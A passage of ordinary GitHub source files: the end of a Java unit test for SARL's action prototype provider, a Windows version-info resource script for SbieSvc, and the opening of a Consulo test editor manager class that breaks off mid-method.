(Objects.equals(TypesPackage.Literals.JVM_ANNOTATION_TARGET__ANNOTATIONS, invocation.getArguments()[0])) { return Boolean.TRUE; } return Boolean.FALSE; }); this.jvmParameters.add(jp); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("secondarg"); ref = getType(getParseHelper(), "int"); when(jp.getParameterType()).thenReturn(ref); when(jp.getAnnotations()).thenReturn(ECollections.<JvmAnnotationReference>emptyEList()); this.jvmParameters.add(jp); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("thirdarg"); ref = getType(getParseHelper(), "float"); when(jp.getParameterType()).thenReturn(ref); annotationType = mock(JvmAnnotationType.class); when(annotationType.getQualifiedName()).thenReturn(DefaultValue.class.getName()); annotationRef = mock(JvmAnnotationReference.class); when(annotationRef.getAnnotation()).thenReturn(annotationType); when(jp.getAnnotations()).thenReturn(ECollections.singletonEList(annotationRef)); when(jp.eIsSet(ArgumentMatchers.any())).thenAnswer((invocation) -> { if (Objects.equals(TypesPackage.Literals.JVM_ANNOTATION_TARGET__ANNOTATIONS, invocation.getArguments()[0])) { return Boolean.TRUE; } return Boolean.FALSE; }); this.jvmParameters.add(jp); jp = mock(JvmFormalParameter.class); when(jp.getName()).thenReturn("fourtharg"); ref = getType(getParseHelper(), "java.lang.Object[]"); when(jp.getParameterType()).thenReturn(ref); when(jp.getAnnotations()).thenReturn(ECollections.<JvmAnnotationReference>emptyEList()); this.jvmParameters.add(jp); } @Test public void validateTypeOfVarArgInSarl() throws Exception { SarlScript s = file(getParseHelper(), "agent Foo { def fooFct(a : float, b : Object*) {} }"); SarlFormalParameter param = (SarlFormalParameter) ((SarlAction) ((SarlAgent) s.getXtendTypes().get(0)) .getMembers().get(0)).getParameters().get(1); assertNotNull(param); assertEquals("java.lang.Object", param.getParameterType().getIdentifier()); } @Test public void createQualifiedActionName() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); final String xtextResourceID = container.eResource().getURI().toString(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); assertNotNull(qn); assertEquals("myfct", qn.getActionName()); //xtextResourceID == "file:/path/to/io/sarl/tests/Stub"+index+".sarl" assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index, qn.getContainerID()); assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index+"#myfct", qn.toString()); } @Test public void createConstructorQualifiedName() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); final String xtextResourceID = container.eResource().getURI().toString(); QualifiedActionName qn = this.provider.createConstructorQualifiedName(container); assertNotNull(qn); assertEquals("new", qn.getActionName()); //xtextResourceID == "file:/path/to/io/sarl/tests/Stub"+index+".sarl" assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index, qn.getContainerID()); assertEquals(xtextResourceID + "/io.sarl.tests.Stub"+index+"#new", qn.toString()); } @Test public void createParameterTypesForVoid() { ActionParameterTypes key = this.provider.createParameterTypesForVoid(); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypes_varArgs() { ActionParameterTypes key = this.provider.createParameterTypes(true, this.parameterProvider); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,int,float,java.lang.Object*", key.toString()); assertEquals(4, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("int", key.get(1)); assertEquals("float", key.get(2)); assertEquals("java.lang.Object[]", key.get(3)); } @Test public void createParameterTypes_noVarArgs() { ActionParameterTypes key = this.provider.createParameterTypes(false, this.parameterProvider); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,int,float,java.lang.Object[]", key.toString()); assertEquals(4, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("int", key.get(1)); assertEquals("float", key.get(2)); assertEquals("java.lang.Object[]", key.get(3)); } @Test public void createParameterTypesFromString_empty() { ActionParameterTypes key = this.provider.createParameterTypesFromString(""); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromString_void() { ActionParameterTypes key = this.provider.createParameterTypesFromString("void"); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromString_Void() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.Void"); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertEquals("", key.toString()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromString_String_noVargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String", key.toString()); assertEquals(1, key.size()); assertEquals("java.lang.String", key.get(0)); } @Test public void createParameterTypesFromString_StringFloat_noVargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float", key.toString()); assertEquals(2, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); } @Test public void createParameterTypesFromString_StringFloatObject_noVargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float,java.lang.Object"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object", key.get(2)); } @Test public void createParameterTypesFromString_String_vargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String*"); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String*", key.toString()); assertEquals(1, key.size()); assertEquals("java.lang.String[]", key.get(0)); } @Test public void createParameterTypesFromString_StringFloat_vargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float*"); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float*", key.toString()); assertEquals(2, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float[]", key.get(1)); } @Test public void createParameterTypesFromString_StringFloatObject_vargArg() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float,java.lang.Object*"); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object*", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromString_String_noVargArg_array() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String[]"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String[]", key.toString()); assertEquals(1, key.size()); assertEquals("java.lang.String[]", key.get(0)); } @Test public void createParameterTypesFromString_StringFloat_noVargArg_array() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float[]"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float[]", key.toString()); assertEquals(2, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float[]", key.get(1)); } @Test public void createParameterTypesFromString_StringFloatObject_noVargArg_array() { ActionParameterTypes key = this.provider.createParameterTypesFromString("java.lang.String,float,java.lang.Object[]"); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,float,java.lang.Object[]", key.toString()); assertEquals(3, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("float", key.get(1)); assertEquals("java.lang.Object[]", key.get(2)); } @Test public void createParameterTypesFromSarlModell_void() { ActionParameterTypes key = this.provider.createParameterTypesFromSarlModel(false, new BasicEList<SarlFormalParameter>()); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromSarlModel_noVarArg() { ActionParameterTypes key = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,int,float,java.lang.Object", key.toString()); assertEquals(4, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("int", key.get(1)); assertEquals("float", key.get(2)); assertEquals("java.lang.Object", key.get(3)); } @Test public void createParameterTypesFromSarlModel_varArg() { ActionParameterTypes key = this.provider.createParameterTypesFromSarlModel(true, this.sarlParameters); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,int,float,java.lang.Object*", key.toString()); assertEquals(4, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("int", key.get(1)); assertEquals("float", key.get(2)); assertEquals("java.lang.Object[]", key.get(3)); } @Test public void createParameterTypesFromJvmModel_void() { ActionParameterTypes key = this.provider.createParameterTypesFromJvmModel(false, new BasicEList<JvmFormalParameter>()); assertNotNull(key); assertFalse(key.isVarArg()); assertTrue(key.isVoid()); assertTrue(key.isEmpty()); } @Test public void createParameterTypesFromJvmModel_noVarArg() { ActionParameterTypes key = this.provider.createParameterTypesFromJvmModel(false, this.jvmParameters); assertNotNull(key); assertFalse(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,int,float,java.lang.Object[]", key.toString()); assertEquals(4, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("int", key.get(1)); assertEquals("float", key.get(2)); assertEquals("java.lang.Object[]", key.get(3)); } @Test public void createParameterTypesFromJvmModel_varArg() { ActionParameterTypes key = this.provider.createParameterTypesFromJvmModel(true, this.jvmParameters); assertNotNull(key); assertTrue(key.isVarArg()); assertFalse(key.isVoid()); assertEquals("java.lang.String,int,float,java.lang.Object*", key.toString()); assertEquals(4, key.size()); assertEquals("java.lang.String", key.get(0)); assertEquals("int", key.get(1)); assertEquals("float", key.get(2)); assertEquals("java.lang.Object[]", key.get(3)); } @Test public void createActionPrototype_void() { ActionParameterTypes params = this.provider.createParameterTypesFromJvmModel(true, new BasicEList<JvmFormalParameter>()); ActionPrototype prototype = this.provider.createActionPrototype("myfct", params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName()); assertSame(params, prototype.getParametersTypes()); } @Test public void createActionPrototype_noVarArg() { ActionParameterTypes params = this.provider.createParameterTypesFromJvmModel(false, this.jvmParameters); ActionPrototype prototype = this.provider.createActionPrototype("myfct", params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName()); assertSame(params, prototype.getParametersTypes()); } @Test public void createActionPrototype_varArg() { ActionParameterTypes params = this.provider.createParameterTypesFromJvmModel(true, this.jvmParameters); ActionPrototype prototype = this.provider.createActionPrototype("myfct", params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName()); assertSame(params, prototype.getParametersTypes()); } @Test public void createPrototypeFromSarlModel_void() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); EList<SarlFormalParameter> params = new BasicEList<>(); // InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, false, params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameFormalParameters(params, prototype.getFormalParameters()); assertEquals("", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), ""); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromSarlModel_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameFormalParameters(this.sarlParameters, prototype.getFormalParameters()); assertEquals( "java.lang.String,int,float,java.lang.Object", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,int,float,java.lang.Object", "java.lang.String,int,java.lang.Object", "int,float,java.lang.Object", "int,java.lang.Object"); assertPrototypes(prototype.getOriginalParameterTypes(), InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object", "fourtharg"); assertPrototypes(prototype.getInferredParameterTypes(), new Object[] { InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object", "fourtharg", }); } @Test public void createPrototypeFromSarlModel_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameFormalParameters(this.sarlParameters, prototype.getFormalParameters()); assertEquals("java.lang.String,int,float,java.lang.Object*", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,int,float,java.lang.Object*", "java.lang.String,int,java.lang.Object*", "int,float,java.lang.Object*", "int,java.lang.Object*"); assertPrototypes(prototype.getOriginalParameterTypes(), InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg"); assertPrototypes(prototype.getInferredParameterTypes(), new Object[] { InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }); } @Test public void createPrototypeFromJvmModel_void() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); EList<JvmFormalParameter> params = new BasicEList<>(); // InferredPrototype prototype = this.provider.createPrototypeFromJvmModel(this.context, qn, false, params); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameJvmFormalParameters(params, prototype.getFormalParameters()); assertEquals("", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), ""); assertTrue(prototype.getInferredParameterTypes().isEmpty()); } @Test public void createPrototypeFromJvmModel_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromJvmModel(this.context, qn, false, this.jvmParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameJvmFormalParameters(this.jvmParameters, prototype.getFormalParameters()); assertEquals( "java.lang.String,int,float,java.lang.Object[]", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,int,float,java.lang.Object[]", "java.lang.String,int,java.lang.Object[]", "int,float,java.lang.Object[]", "int,java.lang.Object[]"); assertPrototypes(prototype.getOriginalParameterTypes(), InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg"); assertPrototypes(prototype.getInferredParameterTypes(), new Object[] { InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }); } @Test public void createPrototypeFromJvmModel_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // InferredPrototype prototype = this.provider.createPrototypeFromJvmModel(this.context, qn, true, this.jvmParameters); assertNotNull(prototype); assertEquals("myfct", prototype.getActionName().getActionName()); assertSameJvmFormalParameters(this.jvmParameters, prototype.getFormalParameters()); assertEquals( "java.lang.String,int,float,java.lang.Object*", prototype.getFormalParameterTypes().toString()); assertContainsStrings( prototype.getParameterTypeAlternatives(), "java.lang.String,int,float,java.lang.Object*", "java.lang.String,int,java.lang.Object*", "int,float,java.lang.Object*", "int,java.lang.Object*"); assertPrototypes(prototype.getOriginalParameterTypes(), InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg"); assertPrototypes(prototype.getInferredParameterTypes(), new Object[] { InferredStandardParameter.class, "java.lang.String", "firstarg", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredStandardParameter.class, "float", "thirdarg", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }, new Object[] { InferredValuedParameter.class, "java.lang.String", "firstarg", "io.sarl.tests.Stub" + index + "#MYFCT_0", InferredStandardParameter.class, "int", "secondarg", InferredValuedParameter.class, "float", "thirdarg", "io.sarl.tests.Stub" + index + "#MYFCT_1", InferredStandardParameter.class, "java.lang.Object[]", "fourtharg", }); } @Test public void getPrototypesQualifiedActionName_noCreatedPrototype() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); // Iterable<InferredPrototype> iterable = this.provider.getPrototypes(this.context, qn); assertNotNull(iterable); assertFalse(iterable.iterator().hasNext()); } @Test public void getPrototypesQualifiedActionName_createdPrototype_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); // Iterable<InferredPrototype> iterable = this.provider.getPrototypes(this.context, qn); assertNotNull(iterable); Iterator<InferredPrototype> iterator = iterable.iterator(); assertTrue(iterator.hasNext()); InferredPrototype prototype = iterator.next(); assertSame(expected, prototype); assertFalse(iterator.hasNext()); } @Test public void getPrototypesQualifiedActionName_createdPrototype_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); // Iterable<InferredPrototype> iterable = this.provider.getPrototypes(this.context, qn); assertNotNull(iterable); Iterator<InferredPrototype> iterator = iterable.iterator(); assertTrue(iterator.hasNext()); InferredPrototype prototype = iterator.next(); assertSame(expected, prototype); assertFalse(iterator.hasNext()); } @Test public void getPrototypesQualifiedActionNameActionParameterTypes_noCreatedPrototype() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); // InferredPrototype prototype = this.provider.getPrototypes(this.context, qn, types); assertNull(prototype); } @Test public void getPrototypesQualifiedActionNameActionParameterTypes_createdPrototype_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); // InferredPrototype prototype = this.provider.getPrototypes(this.context, qn, types); assertNotNull(prototype); assertSame(expected, prototype); } @Test public void getPrototypesQualifiedActionNameActionParameterTypes_createdPrototype_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(true, this.sarlParameters); InferredPrototype expected = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); // InferredPrototype prototype = this.provider.getPrototypes(this.context, qn, types); assertNotNull(prototype); assertSame(expected, prototype); } @Test public void resetPrototypes_noCreatedProtype() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); assertNotNull(types); // assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); this.context.release(); assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); } @Test public void resetPrototypes_createdProtype_noVarArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(false, this.sarlParameters); assertNotNull(types); InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, false, this.sarlParameters); assertNotNull(prototype); // assertTrue(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); this.context.release(); assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); } @Test public void resetPrototypes_createdProtype_varArg() { JvmIdentifiableElement container = createJvmIdentifiableElementStub(); QualifiedActionName qn = this.provider.createQualifiedActionName(container, "myfct"); ActionParameterTypes types = this.provider.createParameterTypesFromSarlModel(true, this.sarlParameters); assertNotNull(types); InferredPrototype prototype = this.provider.createPrototypeFromSarlModel(this.context, qn, true, this.sarlParameters); assertNotNull(prototype); // assertTrue(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); this.context.release(); assertFalse(this.provider.getPrototypes(this.context, qn).iterator().hasNext()); } } }
{ "pile_set_name": "Github" }
//Microsoft Developer Studio generated resource script. // #define APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 2 resource. // #include "afxres.h" ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // English (U.S.) resources #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) #ifdef _WIN32 LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US #pragma code_page(1252) #endif //_WIN32 #ifndef _MAC ///////////////////////////////////////////////////////////////////////////// // // Version // #include "common/my_version.h" VS_VERSION_INFO VERSIONINFO FILEVERSION MY_VERSION_BINARY PRODUCTVERSION MY_VERSION_BINARY FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L #else FILEFLAGS 0x0L #endif FILEOS 0x40004L FILETYPE 0x2L FILESUBTYPE 0x0L BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904b0" BEGIN VALUE "Comments", "\0" VALUE "CompanyName", MY_COMPANY_NAME_STRING "\0" VALUE "FileDescription", MY_PRODUCT_NAME_STRING " Service\0" VALUE "FileVersion", MY_VERSION_STRING "\0" OPTIONAL_VALUE("InternalName", "SbieSvc\0") VALUE "LegalCopyright", MY_COPYRIGHT_STRING "\0" VALUE "LegalTrademarks", "\0" OPTIONAL_VALUE("OriginalFilename", "SbieSvc.exe\0") VALUE "PrivateBuild", "\0" VALUE "ProductName", MY_PRODUCT_NAME_STRING "\0" VALUE "ProductVersion", MY_VERSION_STRING "\0" VALUE "SpecialBuild", "\0" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1200 END END #endif // !_MAC #endif // English (U.S.) resources /////////////////////////////////////////////////////////////////////////////
{ "pile_set_name": "Github" }
/* * Copyright 2000-2016 JetBrains s.r.o. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.intellij.openapi.fileEditor.impl; import com.intellij.ide.highlighter.HighlighterFactory; import consulo.disposer.Disposable; import com.intellij.openapi.command.CommandProcessor; import com.intellij.openapi.fileEditor.ex.FileEditorWithProvider; import consulo.logging.Logger; import com.intellij.openapi.editor.Document; import com.intellij.openapi.editor.Editor; import com.intellij.openapi.editor.EditorFactory; import com.intellij.openapi.editor.LogicalPosition; import com.intellij.openapi.editor.ex.EditorEx; import com.intellij.openapi.editor.highlighter.EditorHighlighter; import com.intellij.openapi.fileEditor.*; import com.intellij.openapi.fileEditor.ex.FileEditorManagerEx; import com.intellij.openapi.fileEditor.impl.text.TextEditorPsiDataProvider; import com.intellij.openapi.project.Project; import com.intellij.openapi.project.ProjectManager; import com.intellij.openapi.project.ProjectManagerAdapter; import com.intellij.openapi.util.*; import com.intellij.openapi.vfs.VfsUtilCore; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiDocumentManager; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.testFramework.LightVirtualFile; import com.intellij.util.IncorrectOperationException; import com.intellij.util.containers.HashMap; import consulo.fileEditor.impl.EditorComposite; import consulo.fileEditor.impl.EditorWindow; import consulo.fileEditor.impl.EditorsSplitters; import consulo.fileEditor.impl.text.TextEditorProvider; import consulo.ui.annotation.RequiredUIAccess; import consulo.ui.UIAccess; import org.jdom.Element; import javax.annotation.Nonnull; import javax.swing.*; import java.awt.*; import java.util.Collections; import java.util.LinkedList; import java.util.List; import java.util.Map; final class TestEditorManagerImpl extends FileEditorManagerEx implements Disposable { private static final Logger LOG = Logger.getInstance(TestEditorManagerImpl.class); private final TestEditorSplitter myTestEditorSplitter = new TestEditorSplitter(); private final Project myProject; private int counter = 0; private final Map<VirtualFile, Editor> myVirtualFile2Editor = new HashMap<>(); private VirtualFile myActiveFile; private static final LightVirtualFile LIGHT_VIRTUAL_FILE = new LightVirtualFile("Dummy.java"); public TestEditorManagerImpl(@Nonnull Project project) { myProject = project; registerExtraEditorDataProvider(new TextEditorPsiDataProvider(), null); project.getMessageBus().connect().subscribe(ProjectManager.TOPIC, new ProjectManagerAdapter() { @Override public void projectClosed(Project project, UIAccess uiAccess) { if (project == myProject) { closeAllFiles(); } } }); } @Override @Nonnull public Pair<FileEditor[], FileEditorProvider[]> openFileWithProviders(@Nonnull final VirtualFile file, final boolean focusEditor, boolean searchForSplitter) { final Ref<Pair<FileEditor[], FileEditorProvider[]>> result = new Ref<>(); CommandProcessor.getInstance().executeCommand(myProject, () -> result.set(openFileImpl3(file, focusEditor)), "", null); return result.get(); } private Pair<FileEditor[], FileEditorProvider[]> openFileImpl3(final VirtualFile file, boolean focusEditor) { // for non-text editors. uml, etc final FileEditorProvider provider = file.getUserData(FileEditorProvider.KEY); if (provider != null && provider.accept(getProject(), file)) { return Pair.create(new FileEditor[]{provider.createEditor(getProject(), file)}, new FileEditorProvider[]{provider}); } //text editor Editor editor = openTextEditor(new OpenFileDescriptor(myProject, file), focusEditor); assert editor != null; final FileEditor fileEditor = TextEditorProvider.getInstance().getTextEditor(editor); final FileEditorProvider fileEditorProvider = getProvider(); Pair<FileEditor[], FileEditorProvider[]> result = Pair.create(new FileEditor[]{fileEditor}, new FileEditorProvider[]{fileEditorProvider}); modifyTabWell(new Runnable() { @Override public void run() { myTestEditorSplitter.openAndFocusTab(file, fileEditor, fileEditorProvider); } }); return result; } private void modifyTabWell(Runnable tabWellModification) { FileEditor lastFocusedEditor = myTestEditorSplitter.getFocusedFileEditor(); VirtualFile lastFocusedFile = 